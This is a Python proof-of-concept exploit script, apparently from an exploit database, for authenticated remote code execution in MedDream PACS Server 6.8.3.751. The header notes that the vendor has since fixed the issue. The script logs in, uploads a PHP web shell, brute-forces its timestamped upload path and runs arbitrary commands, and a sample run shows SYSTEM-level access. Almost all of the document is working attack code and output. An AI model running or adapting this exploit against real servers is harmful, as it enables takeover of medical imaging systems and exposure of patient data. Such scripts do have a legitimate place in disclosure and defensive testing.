#!/usr/bin/python
#
#
# Exploit Title: MedDream PACS Server 6.8.3.751 - Remote Code Execution (Authenticated)
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: MedDream PACS Server 6.8.3.751 - Remote Code Execution (Authenticated)
# Date: 2020-10-01
# Vulnerable Software: https://www.softneta.com/products/meddream-pacs-server/
# Vendor Homepage: https://www.softneta.com
# Version: 6.8.3.751
# Tested On: Windows 2016
#
#
# Timeline
# 05-02-20: Submitted incident through email, immediate response
# 05-04-20: Issue resolved, New version released 6.8.3.1.751
#
# Note: Core Vulnerability resides in another product which has been remediated as well
#
##PoC##
#
# 1. create one line php shell to call commands
# 2. run script on attacking machine
# 3. enter parameters; IP, filename, username, password, command
#
#
# root@kali:~# python meddream.py
# Enter IP Address: 192.168.0.223
# Enter payload filename + .php: cmd.php
# Enter Username: user1
# Enter Password: SoSecure!!
# Enter command: whoami
# 212357
# <pre>nt authority\system
# </pre>
# http://192.168.0.223/Pacs/upload/20201001-212357--cmd.php?cmd=whoami
# 404
# 404
# 404
# 404
# 404
# 404
# 404
# 404
# 404
#
#
from urllib2 import urlopen
from bs4 import BeautifulSoup
import requests
import sys
import time
from datetime import datetime, timedelta
ip_addr = raw_input("Enter IP Address: ")
user_file = raw_input("Enter payload filename + .php: ")
uname = raw_input("Enter Username: ")
pword = raw_input("Enter Password: ")
cmd = raw_input("Enter command: ")
URL1= 'http://' + ip_addr + '/Pacs/login.php'
URL2= 'http://' + ip_addr + '/Pacs/authenticate.php'
URL3= 'http://' + ip_addr + '/Pacs/uploadImage.php'
def main():
session = requests.Session()
site = session.get(URL1)
soup = BeautifulSoup(site.content, "html.parser")
antispam = soup.find("input", {"name":"formAntiSpam"})["value"]
dbname = soup.find("input", {"name":"aetitle"})["value"]
login_data = {
'loginvalue': 'login',
'aetitle': dbname,
'username': uname,
'password': pword,
'formAntispam': antispam,
'login': 'Login',
}
r = session.post(URL2, data = login_data)
files = [
('actionvalue', (None, 'Attach', None)),
('uploadfile', (user_file, open(user_file, 'rb'), 'application/x-php')),
('action', (None, 'Attach', None)),
]
r = session.post(URL3, files=files)
today = datetime.today()
upload_date = today.strftime("%Y%m%d")
less = 1
now1 = datetime.now()
up_time1 = now1.strftime("%H%M%S")
print(up_time1)
#varying time checks +/-
now2 = now1 - timedelta(seconds=less)
up_time2 = now2.strftime("%H%M%S")
now3 = now2 - timedelta(seconds=less)
up_time3 = now3.strftime("%H%M%S")
now4 = now3 - timedelta(seconds=less)
up_time4 = now4.strftime("%H%M%S")
now5 = now4 - timedelta(seconds=less)
up_time5 = now5.strftime("%H%M%S")
now6 = now5 - timedelta(seconds=less)
up_time6 = now6.strftime("%H%M%S")
now7 = now6 - timedelta(seconds=less)
up_time7 = now7.strftime("%H%M%S")
now8 = now1 + timedelta(seconds=less)
up_time8 = now8.strftime("%H%M%S")
now9 = now8 + timedelta(seconds=less)
up_time9 = now8.strftime("%H%M%S")
now10 = now1 + timedelta(seconds=less)
up_time10 = now9.strftime("%H%M%S")
up_time_array = [up_time1, up_time2, up_time3, up_time4, up_time5, up_time6, up_time7, up_time8, up_time9, up_time10]
for i in up_time_array:
r = session.get('http://' + ip_addr + '/Pacs/upload/'+ upload_date + "-" + i + "--" + user_file + "?cmd=" + cmd)
if r.status_code == 200:
print r.content
print r.url
else:
print ("404")
if __name__ == '__main__':
main()
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